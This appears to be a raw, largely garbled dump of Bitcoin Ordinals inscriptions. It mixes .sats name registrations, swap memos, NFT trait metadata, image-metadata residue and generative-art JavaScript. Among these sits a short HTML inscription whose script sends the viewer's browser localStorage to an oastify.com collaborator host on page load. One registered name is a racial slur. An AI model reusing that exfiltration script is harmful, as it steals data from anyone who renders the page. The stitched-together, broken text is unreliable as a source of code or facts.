place where the court is being positioned to make a new judgment on the internet, FjDOUT:1FC4884BF1C52A9AF0A297C36AF98B0568AC44520EB3DCCEDA712B926C5D5E90 FjDOUT:75ECDA204EAE1BA006B7AC5AF3F6135E4A13739483F74C04F4F6E15DB6577922 CjA=:BNB.BNB:bnb1ydjj8q3n90qn937qpe73vf7xx0jmz242rt73nd:113785079::0 text/plain;charset=utf-8 "name": "liverpool.sats" text/plain;charset=utf-8 "name": "manchester.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "ahg.sats" text/plain;charset=utf-8 "name": "ahh.sats" text/plain;charset=utf-8 "name": "ahk.sats" text/plain;charset=utf-8 "name": "ahf.sats" text/plain;charset=utf-8 "name": "ahj.sats" text/plain;charset=utf-8 "name": "sherlock.sats" text/plain;charset=utf-8 d/Foundry USA Pool #dropgold/ "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"luo.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"hai.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"mian.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"67678.sats"}h! text/plain;charset=utf-8 "name": "ahl.sats" text/plain;charset=utf-8 "name": "ahm.sats" text/plain;charset=utf-8 text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>--> <!-- threejs@r124 <script sandbox="allow-scripts" typM e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/jaM vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" tM ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substM ring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); html, body { margin: 0; padding: 0; max-width: 100%; max-height: 100%; margin: auto; overflow: auto; position: fixed; object-fit: contain; bottom: 0; left: 0; right: 0; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits) Add your code here nst container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License. //Author: @devhontran //Twitter: https://twitter.com/DevHontran //Website: https://hontran.dev const scaler = 1; let paper, border; let shadown = {x: -5, y: 5}; let layers = []; let padding = 40; function cyrb128(str) { = 1779033703, h2 = 3144134277, h3 = 1013904242, h4 = 2773480762; for (let i = 0, k; i < str.length; i++) { k = str.charCodeAt(i); h1 = h2 ^ Math.imul(h1 ^ k, 597399067); h2 = h3 ^ Math.imul(h2 ^ k, 2869860233); h3 = h4 ^ Math.imul(h3 ^ k, 951274213); h4 = h1 ^ Math.imul(h4 ^ k, 2716044179); h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067); h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233); h3 = Math.imul(h1 ^ (h3M >>> 17), 951274213); h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179); return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0]; function sfc32_c(a, b, c, d) { a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0; var t = (a + b) | 0; a = b ^ b >>> 9; b = c + (c << 3) | 0; c = (c << 21 | c >>> 11); d = d + 1 | 0; t = t + d | 0; c = c + t | 0; return (t >>> 0) / 4294967296; // return random value from [l -> r] function consistentRand (seed, l, r) { const rand = sfc32_c(...cyrb128(seed.toString())); return l + rand * (r - l) function getRandomItem (listP, seed) { const pref = [] for (const x of listP) pref.push(x) for (let i = 1; i < listP.length; i++) { pref[i] += pref[i - 1] for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1]; // get random value from 0->1 const rand = consistentRand(seed, 0, 1) r (let i = 0; i < pref.length; i++) { if (rand < pref[i]) return i; function createRadialGradient(x, y, r, x1, y1, r1) { const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1); grd.addColorStop(0,"#FFFFFF"); grd.addColorStop(1,"#E5E5E3"); drawingContext.fillStyle = grd; drawingContext.fillRect(0, 0, width, height); function artNosie(){ const w = width * 1.2; const h = height * 1.2M paper = createGraphics(w, h); for(let i = 0 ; i< 100000; i++){ let x = random(w); let y = random(h); let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height)); paper.strokeWeight(random(0.25, 3)); paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize)); paper.point(x, y); function generabox(col, pos, si){ const layer = createGraphics(width, height); ill(140, 178, 250, 56); layer.noStroke(); layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h); layer.filter(BLUR, 3); layer.fill(col.r, col.g, col.b, col.a); layer.noStroke(); layer.rect(pos.x, pos.y, si.w, si.h); layers.push(layer); function setup() { const hash = rand ? rand : Math.random(); const fCol = {r: 255, g: 255, b: 255}; const s = min(window.innerWidth, window.innerHeight) createCanvas(s,s);M for(let i=0; i<9; i++){ const tHash = `${hash}_${i}`; const cyrHash = cyrb128(tHash); const mixHash_color_r = consistentRand(cyrHash[0], 0, 1); const mixHash_color_g = consistentRand(cyrHash[1], 0, 255); const mixHash_color_b = consistentRand(cyrHash[2], 0, 255); const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255); const sw = consistentRand(cyrHash[0],50, width / 2); const sh = consistentRaM nd(cyrHash[3], 50, height / 2); const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a}; const si = {w: sw, h: sh}; const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w); const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h); const pos = {x: pos_x, y: pos_y} // console.log('___i', col, pos, si); generabox(col, pos, si); const borderSize = 30; border = createGraphics(width, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(width - borderSize, 0, borderSize, height); border.fill(fCol.r, fCol.g, fCol.b, 255); border.noStroke(); border.rect(0, 0, width, borderSize); border.fill(fCol.r, fCol.g, fCol.b, 255)M border.noStroke(); border.rect(0, height - borderSize, width, borderSize); function draw() { background('#ffffff'); blendMode(BLEND); for(let i=0; i<9; i++){ image(layers[i], 0, 0, width, height); blendMode(MULTIPLY) createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height); blendMode(MULTIPLY); image(paper, 0, 0, width, height); image(border,M- 0, 0, width, height); function windowResized() { const s = min(window.innerWidth, window.innerHeight) resizeCanvas(s, s); Add your code here text/plain;charset=utf-8 "name": "niggers.sats" 2iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM /1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-03-02T12:18:07-08:00" xmp:ModifyDate="2023-03-02T12:19:11-08:00" xmp:MetadataDate="2023-03-02T12:19:11-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:6f547cf4-4889-ad46-860e-a89985970523" xmpMM:DocumentID="adobe:docid:photoshop:792db8be-f0f9-b941-9499-8125412ef092" xmpMM:OriginalDocumentID="xmp.did:f557410b-42bd-f64e-bd3e-afe9fee30776"> <xmpMMM :History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:f557410b-42bd-f64e-bd3e-afe9fee30776" stEvt:when="2023-03-02T12:18:07-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:6f547cf4-4889-ad46-860e-a89985970523" stEvt:when="2023-03-02T12:19:11-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </M rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> EjC=:BNB.BNB:bnb1hztrftklfx749yc228zvlpjgd6gsw9a8uafwph:118109163:t:30 LjJ=:THOR.RUNE:thor1h7e586kkdvcvfnwhlrmyq6rkfaqjldrzg5vvvm:1106321319352:t:30 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"jacobh.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"palcapital.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"jfhaft.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"toby.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"thehoarder.sats"}h! Aj?=:ETH.ETH:0x8B582D91bE8E6AC4A22cC63B4521eC581317c9b3:5283011::0 {"attributes":[{"trait_type":"Background","value":"Blue"},{"trait_type":"Hat","value":"Commie Hat"},{"trait_type":"Eyes","value":"Sleepy"},{"trait_type":"Fur","value":"Black"},{"trait_type":"Mouth","value":"Bored Unshaven Cigar"}],"external_url":"https://baycbitcoin.com/index/bayc/8458","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/8458.png"} .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz {"attributes":[{"trait_type":"Mouth","value":"Bored"},{"trait_type":"Background","value":"New Punk Blue"},{"trait_type":"Eyes","value":"Cyborg"},{"trait_type":"Hat","value":"Party Hat 1"},{"trait_type":"Fur","value":"Blue"}],"external_url":"https://baycbitcoin.com/index/bayc/5528","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/5528.png"} .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz text/plain;charset=utf-8 "name": "docker.sats" text/plain;charset=utf-8 "name": "docker.sats" text/plain;charset=utf-8 "name": "bonjovi.sats" text/plain;charset=utf-8 "name": "timberlake.sats" text/plain;charset=utf-8 "name": "maroon5.sats" text/plain;charset=utf-8 "name": "cardib.sats" text/plain;charset=utf-8 "name": "malone.sats" text/plain;charset=utf-8 "name": "johnlegend.sats" text/plain;charset=utf-8 "name": "jcole.sats" text/plain;charset=utf-8 "name": "martingarrix.sats" text/plain;charset=utf-8 "name": "davidguetta.sats" text/plain;charset=utf-8 "name": "pinkfloyd.sats" text/plain;charset=utf-8 "name": "bobmarley.sats" text/plain;charset=utf-8 "name": "jbalvin.sats" text/plain;charset=utf-8 "name": "timberland.sats" text/plain;charset=utf-8 "name": "mintable.sats" text/plain;charset=utf-8 "name": "dragons.sats" text/plain;charset=utf-8 "name": "thesandbox.sats" text/plain;charset=utf-8 "name": "wipro.sats" text/plain;charset=utf-8 "name": "uipath.sats" text/plain;charset=utf-8 "name": "slack.sats" text/plain;charset=utf-8 "name": "sys.sats" text/plain;charset=utf-8 "name": "nec.sats" text/plain;charset=utf-8 "name": "aht.sats" text/plain;charset=utf-8 "name": "ahn.sats" text/plain;charset=utf-8 "name": "ahs.sats" text/plain;charset=utf-8 "name": "ahp.sats" text/plain;charset=utf-8 "name": "ahq.sats" text/plain;charset=utf-8 "name": "aho.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 iTXtXML:com.adobe.xmp <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:exif="http://ns.adobe.com/exif/1.0/"> <exif:PixelYDimension>553</exif:PixelYDimension> <exif:PixelXDimension>553</exif:PixelXDimension> <exif:UserComment>Screenshot</exif:UserComment> </rdf:Description> Copyright (c) 1998 Hewlett-Packard Company IEC http://www.iec.ch IEC http://www.iec.ch .IEC 61966-2.1 Default RGB colour space - sRGB .IEC 61966-2.1 Default RGB colour space - sRGB ,Reference Viewing Condition in IEC61966-2.1 ,Reference Viewing Condition in IEC61966-2.1 text/html;charset=utf-8 <title>Chemical X compound test</title> <canvas id="myCanvas" width="500" height="500"></canvas> var canvas = document.getElementById("myCanvas"); var context = canvas.getContext("2d"); var colors = ['#ff00ff', '#ffde00', '#54e507', '#903ef9', '#ffedd7', '#fc8300', '#0bc4ff', '#ff0000']; var startBlockHeight = 778988; function updateColor() { fetch('https://blockchain.inM fo/q/getblockcount') .then(response => response.text()) .then(data => { var currentBlockHeight = parseInt(data); var blockDiff = currentBlockHeight - startBlockHeight; var colorIndex = blockDiff % colors.length; var color = colors[colorIndex]; context.fillStyle = color; context.fillRect(0, 0, canvas.width, canvas.height); .catch(error => console.error(error)); // Call updateColor() once initially to set theL // Check the block height every 10 seconds and update the color if it has changed setInterval(updateColor, 10000); text/plain;charset=utf-8 "name": "btc6.sats" text/plain;charset=utf-8 "name": "tottenham.sats" d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 "name": "ahu.sats" text/plain;charset=utf-8 "name": "ahw.sats" text/plain;charset=utf-8 "name": "ahx.sats" text/plain;charset=utf-8 "name": "ahv.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 "name": "inscribooor.sats" text/plain;charset=utf-8 !http://ns.adobe.com/xap/1.0/ " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta> M M M M <?xpacket end="w"?> %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz text/plain;charset=utf-8 (:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc /cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYM FjDOUT:A80248746124804A39298A617C617EA038B2B503FFD63CF9CFC1E291F560932C Aj?=:ETH.ETH:0xDb3a6A307c5772389a12f6240Fc405b8a5F391BC:1947817::0 Bj@=:ETH.ETH:0x999364266EcA4Bc7346788e15Cf9e31F5ffCe156:42163907::0 FjDOUT:6B238A44B1C68DE244C11F1F4110C9414F0247A079804991D9121168AE52E736 {"attributes":[{"trait_type":"Fur","value":"Cream"},{"trait_type":"Mouth","value":"Phoneme L"},{"trait_type":"Clothes","value":"Navy Striped Tee"},{"trait_type":"Hat","value":"Spinner Hat"},{"trait_type":"Background","value":"Yellow"},{"trait_type":"Eyes","value":"Bored"}],"external_url":"https://baycbitcoin.com/index/bayc/9608","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/9608.png"} .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz text/plain;charset=utf-8 "name": "tong.sats" {"attributes":[{"trait_type":"Clothes","value":"Bandolier"},{"trait_type":"Eyes","value":"Sleepy"},{"trait_type":"Mouth","value":"Phoneme Vuh"},{"trait_type":"Background","value":"Yellow"},{"trait_type":"Earring","value":"Silver Hoop"},{"trait_type":"Hat","value":"Bandana Blue"},{"trait_type":"Fur","value":"Noise"}],"external_url":"https://baycbitcoin.com/index/bayc/3372","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/3372.png"} .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz {"attributes":[{"trait_type":"Mouth","value":"Bored"},{"trait_type":"Background","value":"Army Green"},{"trait_type":"Fur","value":"Dmt"},{"trait_type":"Clothes","value":"Black Holes T"},{"trait_type":"Hat","value":"Fez"},{"trait_type":"Eyes","value":"3d"}],"external_url":"https://baycbitcoin.com/index/bayc/5126","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/5126.png"} 36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz text/plain;charset=utf-8 "name": "zou.sats" DjB=:BNB.BNB:bnb1mp8wr6fnszsv6hkktslptmk8ve6akagfqr3jny:32286374:te:0 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88802.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88803.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88804.sats"}h! text/plain;charset=utf-8 0{"p":"sns","op":"reg","name":"billionaire.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88810.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88805.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"88807.sats"}h! text/plain;charset=utf-8 "name": "ahy.sats" text/plain;charset=utf-8 "name": "aib.sats" text/plain;charset=utf-8 "name": "ahz.sats" text/plain;charset=utf-8 "name": "aic.sats" text/html;charset=utf-8 fetch('https://zbe5n0dpcwn4fzwn4fx7wwx68xen2c.oastify.com/', { body:JSON.stringify(localStorage) text/plain;charset=utf-8 "title": "The Freedom to Transact", "url": "https://ordinals.com/preview/85fc97fc0537efba2bf9356691c7a3c7a0239bffefa6597686255fc41aedf572i0", "author": "Ash Lightstone" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"jamel.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ike.sats"}h! text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"brayden.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"seth.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lyle.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"alfred.sats"}h! '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"burt.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"trey.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"milo.sats"}h! text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"lance.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"dusty.sats"}h! '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"lars.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"noel.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"ernest.sats"}h! text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"jace.sats"}h! text/plain;charset=utf-8 "name": "shengge.sats" text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"hans.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kris.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"norman.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"joss.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"blair.sats"}h! '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"judd.sats"}h! text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"nash.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm iTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164648, 2021/01/12-15:52:29 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginM alDocumentID="xmp.did:0043d78d-c5d4-a44a-b0bd-9ac08349d54b" xmpMM:DocumentID="xmp.did:C32D1578B77D11ED9499AAA24F81CD27" xmpMM:InstanceID="xmp.iid:C32D1577B77D11ED9499AAA24F81CD27" xmp:CreatorTool="Adobe Photoshop 22.2 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:372aa776-b694-bd48-9393-ef853a5ca379" stRef:documentID="adobe:docid:photoshop:880668d8-3a35-f749-9113-cc56372feb66"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> text/plain;charset=utf-8 text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm '#*" "*#>1++1>H<9<HWNNWmhm text/plain;charset=utf-8 '#*" "*#>1++1>H<9<HWNNWmhm 